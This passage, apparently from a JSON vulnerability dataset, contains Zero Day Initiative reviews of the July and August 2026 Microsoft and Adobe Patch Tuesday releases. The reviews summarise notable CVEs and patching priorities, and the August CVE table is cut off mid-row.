TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:01:48.441233Z"}, {"uuid": "66c97180-1d19-4b1a-9ea8-9b20933160dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54984", "type": "seen", "source": "https://www.thezdi.com/blog/2026/8/11/the-august-2026-security-update-review", "content": "I\u2019ve successfully survived Hacker Summer Camp, and I have returned with a new outlook on patch density. When even Linus Torvalds says that huge updates are the \u201cnew normal\u201d, it\u2019s time to readjust what we consider a true bug apocalypse. This month\u2019s release is thankfully smaller than last months, but still huge by historical standards. Take a break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for August 2026\nFor the first part of the August release, Adobe released five bulletins addressing 51 unique CVEs in Adobe ColdFusion, Commerce, Lightroom Classic, Content Credentials SDK, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\nAdobe Patches for August 2026\n\n\n\n  \nAdobe Patches for August 2026\n  \n\n    \n      \n        Bulletin ID\n        Product\n        CVE Count\n        Highest Severity\n        Highest CVSS\n        Exploited\n        Deployment Priority\n      \n    \n    \n      \n        APSB26-90\n        Adobe ColdFusion\n        15\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-123\n        Adobe Campaign Classic\n        3\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-92\n        Adobe Commerce\n        7\n        Critical\n        9.1\n        No\n        2\n      \n      \n        APSB26-94\n        Adobe Lightroom Classic\n        11\n        Critical\n        8.6\n        No\n        3\n      \n      \n        APSB26-111\n        Content Credentials SDK\n        15\n        Critical\n        7.5\n        No\n        3\n      \n      \n        TOTAL\n        5 bulletins\n        51\n        \n        \n        \n        \n      \n    \n  \n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \nIf you\u2019re running Campaign Classic, that\u2019s your priority. Not only is it a deployment priority of 1, but it also contains two different CVSS 10 bugs and supersedes the patch that was just released on August 3. ColdFusion is also deployment priority 1 and also contains a CVSS 10 bug. Adobe Commerce rates a priority 2 with code execution bugs as high as CVSS 9.1. The patches for Lightroom Classic and Content Credentials SDK are packed with CVEs, but only rate a deployment priority of 3.\nNone of the Adobe bugs receiving patches this month are listed as publicly known or under active attack at the time of release.\nMicrosoft Patches for August 2026\nThere are a couple of things to point out right at the beginning. Again, counting is difficult due to the size, but I see 398 new CVEs to go along with the other updates documented this month. However, there is only one listed being under active attack, so we\u2019ve got that going for us, which is nice. The release impacts Windows and Windows components, Office and Office Components, AMD Zen, Azure and Azure Components, GitHub Copilot, Windows Defender, Exchange Server, SharePoint, OneDrive for macOS, Teams, Power BI, .NET and Visual Studio, DHCP Server and Client, DNS Server, and Windows TPM. Minecraft is absent from this release.  All told, there are 62 rated Critical, one rated Moderate, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program.\nThis volume of updates indeed seems to be the new normal \u2013 at least for now. What is interesting is that, while there is an explosion of bugs being reported (and fixed), there has been no equivalent increase in the number of bugs being actively exploited, at least as 0-days.\nAgain, we\u2019ll start with the bug under active attack and move on from there. \n-              CVE-2026-68820 - Windows Ancillary Function Driver for WinSock Elevation of Privilege VulnerabilityThis bug allows attackers to execute code at SYSTEM level. Bugs of this type are often paired with code execution bugs to take over a system, often through phishing or ransomware. One nitpick here: Microsoft lists the Exploit Code Maturity in the CVSS as \u201cUnproven\u201d but calls this out as actively exploited. Somewhere, that math ain\u2019t mathing.\n-              CVE-2026-62878 - Windows DNS Server Remote Code Execution VulnerabilityThere are several DNS-related patches this month, but this one stands out by far. It allows a remote, unauthenticated attacker to execute code with elevated privileges without user interaction. It\u2019s a good ol\u2019 fashioned stack-based buffer overflow that ends up wormable. Microsoft states exploitation is less likely, but I wouldn\u2019t count on that. I suggest testing and deploying this one quickly, especially to your Internet-facing DNS servers.\n -              CVE-2026-62893 - Windows Deployment Services TFTP Server Remote Code Execution VulnerabilityThis bug came through the ZDI program and allows for code execution without user authentication or user interaction. TFTP has no auth mechanism and is available remotely vid UDP port 69. Any WDS server serving Windows Imaging Format (WIM) files via TFTP (the standard PXE boot scenario) is vulnerable. The issue results from the lack of validating the existence of an object prior to performing operations on the object. UDP port 69 should be blocked at your perimeter, but this could easily be used by attackers for lateral movement within an enterprise. Again, test and deploy this one quickly if you\u2019re using WDS for deployments in your enterprise.\n -              CVE-2026-62815 - Microsoft QUIC Remote Code Execution VulnerabilityHere we have another remote, unauthenticated code execution bug that doesn\u2019t require user interaction. This one is in the QUIC component. If you aren\u2019t familiar with it, QUIC is an IETF-standardized transport protocol that runs over UDP instead of TCP, and it's the foundation for HTTP/3. Roughly 13.5 million websites rely on it. If you are one of those millions, test and deploy this patch rapidly.\n -              CVE-2026-59124 - Microsoft High Performance Computing (HPC) Pack Remote Code Execution VulnerabilityDon\u2019t let the Important severity rating fool you; this is still a CVSS 9.8 bug. It gets knocked down since HPC isn\u2019t on by default. However, it\u2019s a hugely growing segment, and this is another remote, unauthenticated code execution bug that does not require user interaction. It might not be applicable to everyone, but if you\u2019re using HPC in your environment, this is not one to sleep on, especially since Microsoft lists this as \u201cexploitation more likely\u201d.\n -              CVE-2026-62911 - Microsoft Exchange Server Elevation of Privilege VulnerabilityThere are several Exchange bugs in this release, but this one really stands out. It could allow a privilege escalation via an authentication bypass. If successful, an attacker could \u201ctake over the mailboxes of all Exchange users, attackers can send emails, read emails, download attachments.\u201d This bug was one of the ones demonstrated at Pwn2Own Berlin, so ignore Microsoft\u2019s exploitability and Exploit Code Maturity ratings. We handed them working exploits, so this is a real threat. As always, test out those Exchange updates before deploying, but don\u2019t hurry up and schedule that downtime for your upgrade. \nHere\u2019s the full list of CVEs released by Microsoft for August 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-68820\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-62832\n  Windows User Profile\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  EoP\n \n \n  CVE-2026-49163 **\n  Application Insights\n  Profiler Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50481 **\n  Azure Active Directory\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68823 **\n  Azure Confidential\n  Ledger Remote Code Execution Vulnerability\n  Critical\n  9.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62869 **\n  Azure Entra ID\n  Spoofing Vulnerability\n  Critical\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56161 **\n  Azure Logic Apps\n  Information Disclosure Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50515 **\n  Azure Service Bus\n  Remote Code Execution Vulnerability\n  Critical\n  9.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-56162 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-63522 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62836 **\n  Azure SQL Managed\n  Instance Elevation of Privilege Vulnerability\n  Critical\n  8.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62830 **\n  Azure SRE Agent\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-62873 **\n  Microsoft 365 Admin\n  Center Elevation of Privilege Vulnerability\n  Critical\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50516 **\n  Microsoft Azure\n  Kubernetes Service Elevation of Privilege Vulnerability\n  Critical\n  9.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-59115 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68794\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68804\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68816\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62911\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-63513\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63519\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63526\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65664\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66807\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63515\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63532\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64898\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64903\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64909\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64910\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64911\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65657\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70130\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-70332 **\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63518\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63525\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64907\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63508 **\n  Microsoft Planetary\n  Computer Pro Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-59118 **\n  Microsoft Power Apps\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-65668 **\n  Microsoft Purview\n  eDiscovery Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62815\n  Microsoft QUIC Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62827\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64921\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65665\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62896 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  9.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-65667 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-62918 **\n  Microsoft Teams\n  Spoofing Vulnerability\n  Critical\n  7.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62824\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62818\n  Windows Active\n  Directory Certificate Services (AD CS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62893\n  Windows Deployment\n  Services TFTP Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66802\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-71331\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62823\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62817\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62820\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62878\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65789\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62890\n  Windows GDI+ Elevation\n  of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62822\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65791\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66799\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62816\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62819\n  Windows Routing and\n  Remote Access Service (RRAS) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62889\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-70354\n  .NET Core Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62901\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58641\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62871\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62886\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62909\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62872\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65810\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62897\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62900\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  5.9\n  No\n  No\n  Info\n \n \n  CVE-2026-62902\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62899\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  5.9\n  No\n  No\n  SFB\n \n \n  CVE-2026-65777\n  Active Directory\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-59130\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-59131\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62898\n   Microsoft QUIC Information Disclosure\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61357\n  Application\n  Information Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70340\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-65806\n  Azure CycleCloud\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47299\n  Azure Monitor Agent\n  Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-57104\n  Azure Storage Explorer\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62892\n  Capability Access\n  Management Service (camsvc) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65675\n  CoPilot Chat Security\n  Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-65786\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65787\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65788\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70335\n  GitHub Copilot and\n  Visual Studio Code Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64906\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64908\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64912\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64914\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64919\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64920\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59136\n  Microsoft COM for\n  Windows Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54123\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62698\n  Microsoft Digest\n  Authentication Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-66301\n  Microsoft Dynamics 365\n  (On-Premises) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65815\n  Microsoft Dynamics 365\n  On-Premises Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-40375\n  Microsoft Dynamics\n  Business Central Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65673\n  Microsoft Entra\n  Connect Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-68797\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68799\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68802\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68808\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68813\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70318\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70327\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70328\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68793\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68795\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68796\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68798\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68800\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  